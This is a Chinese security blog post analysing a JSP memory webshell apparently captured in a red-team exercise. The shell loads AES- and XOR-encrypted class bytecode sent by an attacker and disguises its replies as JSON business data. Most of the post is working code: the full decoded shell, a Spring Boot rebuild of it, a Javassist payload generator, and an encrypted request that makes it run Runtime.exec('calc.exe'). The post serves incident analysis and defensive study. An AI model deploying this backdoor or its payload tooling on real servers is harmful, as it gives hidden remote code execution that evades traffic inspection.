从零开始的内存马分析——如何骑马反杀(一)

admin 2022年8月25日01:01:00安全文章评论13 views188523字阅读628分24秒阅读模式

文章首发于奇安信攻防社区

https://forum.butian.net/share/1811

在某次实战攻防中,有一对儿小马和大马,他们两个通过了层层设备,终于打入了内网,只是在砍杀的过程中,露出了马脚,从巨大的流量中,被挖了出来,可是,真的有这么容易吗?真的如我们所愿吗?随着你的越发深入的对木马,流量进行解密,你的心中越发的不安……

0x00 前言

在某次实战攻防中,有一对儿小马和大马,他们两个通过了层层设备,终于打入了内网,只是在砍杀的过程中,露出了马脚,从巨大的流量中,被挖了出来,可是,真的有这么容易吗?真的如我们所愿吗?随着你的越发深入的对木马,流量进行解密,你的心中越发的不安……

0x01 木马分析

1.1 在线检测

从零开始的内存马分析——如何骑马反杀(一)

1.2 木马总览

上图是apache解析后产生的java文件和相关的字节码

从零开始的内存马分析——如何骑马反杀(一)

上图是攻击方上传的木马

从零开始的内存马分析——如何骑马反杀(一)

从零开始的内存马分析——如何骑马反杀(一)

1.2 特定报文头

POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host:
Content-Length: 208

报文头部,有特定的gzip

1.3 测试类

我们需要一个calc的测试类供我们测试

package com.Test.Basic;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import java.io.IOException;import java.nio.charset.StandardCharsets;import java.util.Base64;public class Echo_Base64 {    private static String parseByte2HexStr(byte[] buf){
StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) {
String hex = Integer.toHexString(buf[i] & 0xFF); if(hex.length() ==1){
hex = '0' + hex;
}
sb.append(hex.toUpperCase());
} return sb.toString();
} public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(ByteCodeEvil.class.getName()); byte[] code = clazz.toBytecode();
String bytes = Base64.getEncoder().encodeToString(code);
System.out.println(parseByte2HexStr(code));
System.out.println(bytes);
}
}
package com.Test.Basic;import java.io.IOException;public class ByteCodeEvil {    static {        try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) { throw new RuntimeException(e);
}
}
}
package com.Test.Basic;class Loader extends ClassLoader {    public Loader(ClassLoader loader) {        super(loader);
} public Class loadClass(byte[] bytes) { return super.defineClass(bytes, 0, bytes.length);
}
}
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.zip.GZIPInputStream;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;public class AVpayloadGenerator { /**
* 加密
*
* @param 需要加密的内容
* @return
*/

public static byte[] encrypt2(byte[] byteContent) { try {
SecretKeySpec key = new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES");
Cipher cipher = Cipher.getInstance("AES");//AES/ECB/NoPadding
// byte[] byteContent = content.getBytes("utf-8");
cipher.init(Cipher.ENCRYPT_MODE, key);// 初始化
byte[] result = cipher.doFinal(byteContent); return result; // 加密
} catch (Exception e){
e.printStackTrace();
} return null;
}/**
* base64解密,目测是魔改的base
*/


public static byte[] base64Encode(byte[] bytes) {
byte[] value = null; try { Class<?> base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
} catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = ((String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes})).getBytes();
} catch (Exception exception1) {
}
} return value;
} public static byte[] base64Decode(byte[] bytes) {
byte[] value = null; try { Class<?> base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
} catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
} catch (Exception exception1) {
}
} return value;
} /**将二进制转换成16进制
* @param buf
* @return
*/


public static String parseByte2HexStr(byte buf[]) {
StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) { String hex = Integer.toHexString(buf[i] & 0xFF); if (hex.length() == 1) {
hex = '0' + hex;
}
sb.append(hex.toUpperCase());
} return sb.toString();
} public static byte[] xor(byte[] data) {
byte[] key; int len; int keyLen; int index; int i; for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i <= len; ) {
index = i - 1;
data[index] = (byte) (data[index] ^ key[i % keyLen]);
i++;
} return data;
} public static void ReturnMes(String message){
byte[] bb = base64Decode(message.getBytes());
System.out.println(uncompress(xor(bb)));
} public static byte[] uncompress(byte[] bytes) { if (bytes == null || bytes.length == 0) { return null;
}
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(bytes); try {
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256]; int n; while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
} catch (Exception e) {

e.printStackTrace();
} return out.toByteArray();
} /*
* 执行的函数
* ByteCodeEvil 恶意类,自己构造在同一目录,
* */

public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException {

ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(ByteCodeEvil.class.getName());
byte[] code = clazz.toBytecode(); //String aaa="aaa";
byte buff[];
buff = encrypt2(code); // buff = encrypt2(aaa.getBytes());
String result;
result = parseByte2HexStr(buff);
System.out.println(result);

}
}

如上脚本自行编写
AVpayloadGenerator.java

是一个逆向脚本,用于我们生成发送流量的报文

1.4 木马危害

该木马本质没有任何危害,疑似冰蝎类

1.5 config.jsp


class Loader extends ClassLoader{ public Loader(ClassLoader loader){
super(loader);
} public Class loadClass(byte[] bytes){ return super.defineClass(bytes,0,bytes.length);
}
} public static byte[] unHex(byte[] data){int len = data.length;byte[] out = new byte[len / 2];for (int i = 0, j = 0; j < len; i++) {int f = Character.digit(data[j++], 16) << 4;f |= Character.digit(data[j++], 16);out[i] = (byte)(f & 0xFF);}return out;}public byte[] aes128(byte[] s, int mode){try{javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(mode, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES")); return c.doFinal(s);}catch(Exception e){return null;}}public static byte[] xor(byte[] data){byte[] key=base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes());int len=data.length;int keyLen=key.length;int index=0;for(int i = 1; i <= len; i++){index=i-1;data[index] =(byte)(data[index]^key[(i%keyLen)]); }return data; }public static byte[] base64Encode(byte[] bytes){Class base64;byte[] value = null;try{base64 = Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value =(byte[])Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{ bytes });} catch(Exception e){try{base64 = Class.forName("sun.misc.BASE64Encoder");Object Encoder = base64.newInstance();value =((String)Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{ bytes })).getBytes();} catch(Exception e2){}}return value;}public static byte[] base64Decode(byte[] bytes){Class base64;byte[] value = null;try{base64 = Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value =(byte[])decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{ bytes });} catch(Exception e){try{base64 = Class.forName("sun.misc.BASE64Decoder");Object decoder = base64.newInstance();value =(byte[])decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String( bytes )});} catch(Exception e2){}}return value;} try {

byte[] buffer = new byte[102400]; java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream(); ServletInputStream inputStream = request.getInputStream(); int read = 0; while ((read = inputStream.read(buffer))>0){ bufferStream.write(buffer,0,read); } byte[] requestData = bufferStream.toByteArray();byte[] _requestData = new byte[requestData.length - 112];java.lang.System.arraycopy(requestData,110,_requestData,0,_requestData.length);requestData = _requestData;
requestData = unHex(requestData);requestData = aes128(requestData, 2); Class payloadClass = null; if ((payloadClass = (Class) application.getAttribute("inIT"))==null){
application.setAttribute("inIT",new Loader(getClass().getClassLoader()).loadClass(requestData));
}else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = payloadClass.newInstance();
f.equals(request);
f.equals(arrOut);
f.equals(requestData);
f.toString();
byte[] responseData = arrOut.toByteArray();
arrOut.reset();
responseData = xor(responseData);responseData = base64Encode(responseData);
arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes()));arrOut.write(responseData);arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes()));responseData = arrOut.toByteArray();response.setStatus(200);response.setHeader("Content-Type","application/json");response.getOutputStream().write(responseData);
}
}catch (Throwable e){

}

由于木马是html实体编码过后的,我们将他进行分段解密

<jsp:declaration> 声明变量

</jsp:scriptlet> 存放脚本

1.5.1 实体化解码

https://www.convertstring.com/zh_CN/EncodeDecode/HtmlDecode

从零开始的内存马分析——如何骑马反杀(一)

从零开始的内存马分析——如何骑马反杀(一)

1.5.2 代码恢复

我们恢复一下java代码

class Loader extends ClassLoader{    public Loader(ClassLoader loader)
{ super(loader);
} public Class loadClass(byte[] bytes)
{ return super.defineClass(bytes, 0, bytes.length);
}
}public static byte[] unHex(byte[] data)
{ int len = data.length; byte[] out = new byte[len / 2]; for(int i = 0, j = 0; j &lt; len; i++)
{ int f = Character.digit(data[j++], 16) &lt;&lt; 4;
f |= Character.digit(data[j++], 16);
out[i] = (byte)(f &amp; 0xFF);
} return out;
}public byte[] aes128(byte[] s, int mode)
{ try
{
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(mode, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES")); return c.doFinal(s);
} catch(Exception e)
{ return null;
}
}public static byte[] xor(byte[] data)
{ byte[] key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()); int len = data.length; int keyLen = key.length; int index = 0; for(int i = 1; i &lt;= len; i++)
{
index = i - 1;
data[index] = (byte)(data[index] ^ key[(i % keyLen)]);
} return data;
}public static byte[] base64Encode(byte[] bytes)
{
Class base64; byte[] value = null; try
{
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (byte[]) Encoder.getClass().getMethod("encode", new Class[]
{ byte[].class
}).invoke(Encoder, new Object[]
{
bytes
});
} catch(Exception e)
{ try
{
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = ((String) Encoder.getClass().getMethod("encode", new Class[]
{ byte[].class
}).invoke(Encoder, new Object[]
{
bytes
})).getBytes();
} catch(Exception e2)
{}
} return value;
}public static byte[] base64Decode(byte[] bytes)
{
Class base64; byte[] value = null; try
{
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]
{ byte[].class
}).invoke(decoder, new Object[]
{
bytes
});
} catch(Exception e)
{ try
{
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]
{
String.class
}).invoke(decoder, new Object[]
{ new String(bytes)
});
} catch(Exception e2)
{}
} return value;
}try{ byte[] buffer = new byte[102400];
java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream();
ServletInputStream inputStream = request.getInputStream(); int read = 0; while((read = inputStream.read(buffer)) &gt; 0)
{
bufferStream.write(buffer, 0, read);
} byte[] requestData = bufferStream.toByteArray(); byte[] _requestData = new byte[requestData.length - 112];
java.lang.System.arraycopy(requestData, 110, _requestData, 0, _requestData.length);
requestData = _requestData;
requestData = unHex(requestData);
requestData = aes128(requestData, 2);
Class payloadClass = null; if((payloadClass = (Class) application.getAttribute("inIT")) == null)
{
application.setAttribute("inIT", new Loader(getClass().getClassLoader()).loadClass(requestData));
} else
{
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = payloadClass.newInstance();
f.equals(request);
f.equals(arrOut);
f.equals(requestData);
f.toString(); byte[] responseData = arrOut.toByteArray();
arrOut.reset();
responseData = xor(responseData);
responseData = base64Encode(responseData);
arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes()));
arrOut.write(responseData);
arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes()));
responseData = arrOut.toByteArray();
response.setStatus(200);
response.setHeader("Content-Type", "application/json");
response.getOutputStream().write(responseData);
}
}catch(Throwable e)
{}

代码中的该段,伪造json返回数据,模拟正常业务

从零开始的内存马分析——如何骑马反杀(一)

0x02 环境搭建

2.1 springboot 搭建

我们首先搭建在springboot中,将config.class在jd-gui打开,我们模拟打开web页面

从零开始的内存马分析——如何骑马反杀(一)

import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.ServletInputStream;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.ByteArrayOutputStream;import java.io.IOException;class Loader extends ClassLoader {    public Loader(ClassLoader loader) {        super(loader);
} public Class loadClass(byte[] bytes) { return super.defineClass(bytes, 0, bytes.length);
}
}@Controllerpublic class helloController { @RequestMapping("/index")
@ResponseBody
public String index(){ return "hello spring boot!";
} private static String parseByte2HexStr(byte[] buf){
StringBuffer sb = new StringBuffer(); for (int i = 0; i &lt; buf.length; i++) {
String hex = Integer.toHexString(buf[i] &amp; 0xFF); if(hex.length() ==1){
hex = '0' + hex;
}
sb.append(hex.toUpperCase());
} return sb.toString();
} public static byte[] unHex(byte[] data) { int len; byte[] out; int i; int j; for (len = data.length, out = new byte[len / 2], i = 0, j = 0; j &lt; len; ) { int f = Character.digit(data[j++], 16) &lt;&lt; 4;
f |= Character.digit(data[j++], 16);
out[i] = (byte) (f &amp; 0xFF);
i++;
} return out;
} public static byte[] aes128(byte[] s, int mode) { try {
Cipher c = Cipher.getInstance("AES");
c.init(mode, new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES")); return c.doFinal(s);
} catch (Exception exception) { return null;
}
} public static byte[] xor(byte[] data) { byte[] key; int len; int keyLen; int index; int i; for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i &lt;= len; ) {
index = i - 1;
data[index] = (byte) (data[index] ^ key[i % keyLen]);
i++;
} return data;
} public static byte[] base64Encode(byte[] bytes) { byte[] encrypted = null;
String str; try {
Class&lt;?&gt; base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
encrypted = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
} catch (Exception exception) { try {
Class&lt;?&gt; base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
str = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
str=str.replace("n", "").replace("r", "");
encrypted=str.getBytes();
} catch (Exception exception1) {
}
} return encrypted;
} public static byte[] base64Decode(byte[] bytes) { byte[] value = null; try {
Class&lt;?&gt; base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
} catch (Exception exception) { try {
Class&lt;?&gt; base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
} catch (Exception exception1) {
}
} return value;
} @RequestMapping("/index2")
public void hh(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { try { byte[] buffer = new byte[102400];
java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream();
ServletInputStream inputStream = request.getInputStream(); int read=0; while ((read = inputStream.read(buffer)) &gt; 0) {
bufferStream.write(buffer, 0, read);
} byte[] requestData = bufferStream.toByteArray(); byte[] _requestData = new byte[requestData.length - 112];
java.lang.System.arraycopy(requestData, 110, _requestData, 0, _requestData.length);
requestData = _requestData;
requestData = unHex(requestData);
requestData = aes128(requestData, 2);
Class payloadClass = null; //System.out.println(parseByte2HexStr(requestData));
ServletContext application = request.getSession().getServletContext(); if ((payloadClass = (Class) application.getAttribute("inIT")) == null) {
application.setAttribute("inIT", (new Loader(getClass().getClassLoader())).loadClass(requestData));
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = payloadClass.newInstance();
f.equals(request);
f.equals(arrOut);
f.equals(requestData);
f.toString(); byte[] responseData = arrOut.toByteArray();
arrOut.reset();
responseData = xor(responseData);
responseData = base64Encode(responseData);
arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes()));
arrOut.write(responseData);
arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes()));
responseData = arrOut.toByteArray();
response.setStatus(200);
response.setHeader("Content-Type", "application/json");
response.getOutputStream().write(responseData);
}
} catch (Exception e) {
e.printStackTrace();
}
}

}

这里和源代码有所区别,我们需要补充application

也就是

ServletContext application = request.getSession().getServletContext();

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplicationpublic class helloApplication { public static void main(String[] args) {
SpringApplication.run(helloApplication.class,args);
System.out.println("hello springboot");

}
}

这里是springboot的启动页面,对比,我们是可以访问到的,因此我们尝试burp发包,首先对代码进行简单分析

从零开始的内存马分析——如何骑马反杀(一)

2.1.1 类加载器

从零开始的内存马分析——如何骑马反杀(一)

首先,有一个类加载器,但是是直接加载字节码。

2.1.2 unhex解码

unhex 16进制解码

从零开始的内存马分析——如何骑马反杀(一)

2.1.3 aes128解码

从零开始的内存马分析——如何骑马反杀(一)

aes128解码,mode是2,也就是解码

2.1.4 xor解码

从零开始的内存马分析——如何骑马反杀(一)

异或数据,生成返回页面的值

众所周知,xor两次的数据是不变的,根据马中的内容,还原出是json的返回包

2.1.5 base64编解码

反射调用的base64加解密

从零开始的内存马分析——如何骑马反杀(一)

从零开始的内存马分析——如何骑马反杀(一)

2.1.6 数据分片

从零开始的内存马分析——如何骑马反杀(一)

(这个分片会在前期和后期都造成很大的一个干扰)

这里的_requestData 在jd-gui中第一次被误以为是内置函数,被删除了,但是根据流量包分析,发包并没有反应,因此后续在大师傅的提醒下,将数据切片补全

我们首先尝试看看,不带_requestData的效果

从零开始的内存马分析——如何骑马反杀(一)

我们运行Test类,查看生成的字节码hex,和字节码base

hex:CAFEBABE0000003400280A000900180A0019001A08001B0A0019001C07001D07001E0A0006001F0700200700210100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C650100047468697301001D4C636F6D2F546573742F42617369632F42797465436F64654576696C3B0100083C636C696E69743E010001650100154C6A6176612F696F2F494F457863657074696F6E3B01000D537461636B4D61705461626C6507001D01000A536F7572636546696C6501001142797465436F64654576696C2E6A6176610C000A000B0700220C0023002401000863616C632E6578650C002500260100136A6176612F696F2F494F457863657074696F6E01001A6A6176612F6C616E672F52756E74696D65457863657074696F6E0C000A002701001B636F6D2F546573742F42617369632F42797465436F64654576696C0100106A6176612F6C616E672F4F626A6563740100116A6176612F6C616E672F52756E74696D6501000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B010018284C6A6176612F6C616E672F5468726F7761626C653B29560021000800090000000000020001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000005000E0000000C000100000005000F0010000000080011000B0001000C000000660003000100000017B800021203B6000457A7000D4BBB0006592AB70007BFB1000100000009000C00050003000D000000160005000000080009000B000C0009000D000A0016000C000E0000000C0001000D000900120013000000140000000700024C0700150900010016000000020017
base:yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB1MY29tL1Rlc3QvQmFzaWMvQnl0ZUNvZGVFdmlsOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQARQnl0ZUNvZGVFdmlsLmphdmEMAAoACwcAIgwAIwAkAQAIY2FsYy5leGUMACUAJgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAnAQAbY29tL1Rlc3QvQmFzaWMvQnl0ZUNvZGVFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAFAA4AAAAMAAEAAAAFAA8AEAAAAAgAEQALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAIAAkACwAMAAkADQAKABYADAAOAAAADAABAA0ACQASABMAAAAUAAAABwACTAcAFQkAAQAWAAAAAgAX
接收方:流量 ==》 unhex ==》 aes128 ==》字节码导入
发送方:字节码 ==》 aes128 ==》hex ==》流量

我们运行AVpayloadGenerators生成流量

719EBE37D3F3B17195922E849304F1E7BD2DD0BC99103D6B3850FCB3D2DD7CA268DC0AE821D06BBBA3FBAAA6C41F5C2599C346DD8369BEE19703E1F701C0DE79BD66F0F8B1AAE0D0739C445532BBB9E4473EC73D35BC0EDA2CC311B28661D4F6D973DFFA5D6ED4CD524486F7C10BB1DBABB0A6E4AD1022A30C28B4011F8DBA4D4FC1559CDACEE0D6B78B3D2EDC4DEB6CF593F3D782325322A8F87C4FB0D63FC7C1328534174A926233D87AB9B5397071744E1499DD0EEA3C4838F22CAD592A0AC65A3E2CA922B2E5398B8DC89DFC4B0715FED440CFFC8F39C183E954DA92D80B493D0CB0B9E1D12602BFC8CDF16EE81DB57E7949ACBE4C028B6722BEA99804E0A628219641408F0049FE72B3E27DBC192C2C9AABBB70B77CD6F58E9750A823EB12C35D35CF741BA03558FE089EC30A803580860207B672476ED3797CF8850D47590D75D4D702C4D7AB7375189987D9603BC224A3EC9B46131321019CB99A6B559EC22196C7E2D80E4F7EF60E16006C1CD45FDE13392774DBA8DA3D1EFD26E2DC960C6D0758EA0B44FB9DAA4355FA1D2A5E8133F8456101FE4A465A9967345189BCFAD7F7CED591DE5039BFAEFF55C99CCA8EBD58244D3CBD9514E1A25BC483D43423A47653D63D8AD018E94418C0A032A472A8649DF04BF1782AA7AD9902F2C48DC6466390D87693E85B0940CE5C3FE508A8F477BA1C74F557F2B545155EE29727781647FEFF896CF8A4C50D2FDA5223A3AE41819120237000EAE056DFBB7882E96B0A4924642E9EBD65E579A4BA134CC069E94D81A943AFCD12D529FB3D747F0E4497640E4D8BB95466C1F582D85621A255D6643EC0430BC08AA4445E07FBD2FD2524410198D7816601F63A7C1EA2576A08E76F7304B6C0405F4D006B0F166DF8C858BC18AA38B3BE71978BFE1A93C32D99099BF984C4860F04BC09FB0E76FE5BA0B1F25C9C3607E744F60257324EF3A0CC21000232B34BF6F05508C0FF66B738DBB1AD4A784D45AA954E7DB21A63D8

我们给index2发送加密字节码,发送两次之后,弹出计算器,说明字节码加载成功

从零开始的内存马分析——如何骑马反杀(一)

我们接着开放_requestData

我们发现,不生效了

从零开始的内存马分析——如何骑马反杀(一)

我们去查看一下,代码对传输的数据进行了分割处理

{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":""}

我们查看流量包中,对方使用这个json进行模拟正常业务进行传递数据

POST /index2 HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 127.0.0.1:8080Content-Length: 1552{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"719EBE37D3F3B17195922E849304F1E7BD2DD0BC99103D6B3850FCB3D2DD7CA268DC0AE821D06BBBA3FBAAA6C41F5C2599C346DD8369BEE19703E1F701C0DE79BD66F0F8B1AAE0D0739C445532BBB9E4473EC73D35BC0EDA2CC311B28661D4F6D973DFFA5D6ED4CD524486F7C10BB1DBABB0A6E4AD1022A30C28B4011F8DBA4D4FC1559CDACEE0D6B78B3D2EDC4DEB6CF593F3D782325322A8F87C4FB0D63FC7C1328534174A926233D87AB9B5397071744E1499DD0EEA3C4838F22CAD592A0AC65A3E2CA922B2E5398B8DC89DFC4B0715FED440CFFC8F39C183E954DA92D80B493D0CB0B9E1D12602BFC8CDF16EE81DB57E7949ACBE4C028B6722BEA99804E0A628219641408F0049FE72B3E27DBC192C2C9AABBB70B77CD6F58E9750A823EB12C35D35CF741BA03558FE089EC30A803580860207B672476ED3797CF8850D47590D75D4D702C4D7AB7375189987D9603BC224A3EC9B46131321019CB99A6B559EC22196C7E2D80E4F7EF60E16006C1CD45FDE13392774DBA8DA3D1EFD26E2DC960C6D0758EA0B44FB9DAA4355FA1D2A5E8133F8456101FE4A465A9967345189BCFAD7F7CED591DE5039BFAEFF55C99CCA8EBD58244D3CBD9514E1A25BC483D43423A47653D63D8AD018E94418C0A032A472A8649DF04BF1782AA7AD9902F2C48DC6466390D87693E85B0940CE5C3FE508A8F477BA1C74F557F2B545155EE29727781647FEFF896CF8A4C50D2FDA5223A3AE41819120237000EAE056DFBB7882E96B0A4924642E9EBD65E579A4BA134CC069E94D81A943AFCD12D529FB3D747F0E4497640E4D8BB95466C1F582D85621A255D6643EC0430BC08AA4445E07FBD2FD2524410198D7816601F63A7C1EA2576A08E76F7304B6C0405F4D006B0F166DF8C858BC18AA38B3BE71978BFE1A93C32D99099BF984C4860F04BC09FB0E76FE5BA0B1F25C9C3607E744F60257324EF3A0CC21000232B34BF6F05508C0FF66B738DBB1AD4A784D45AA954E7DB21A63D8"}

从零开始的内存马分析——如何骑马反杀(一)

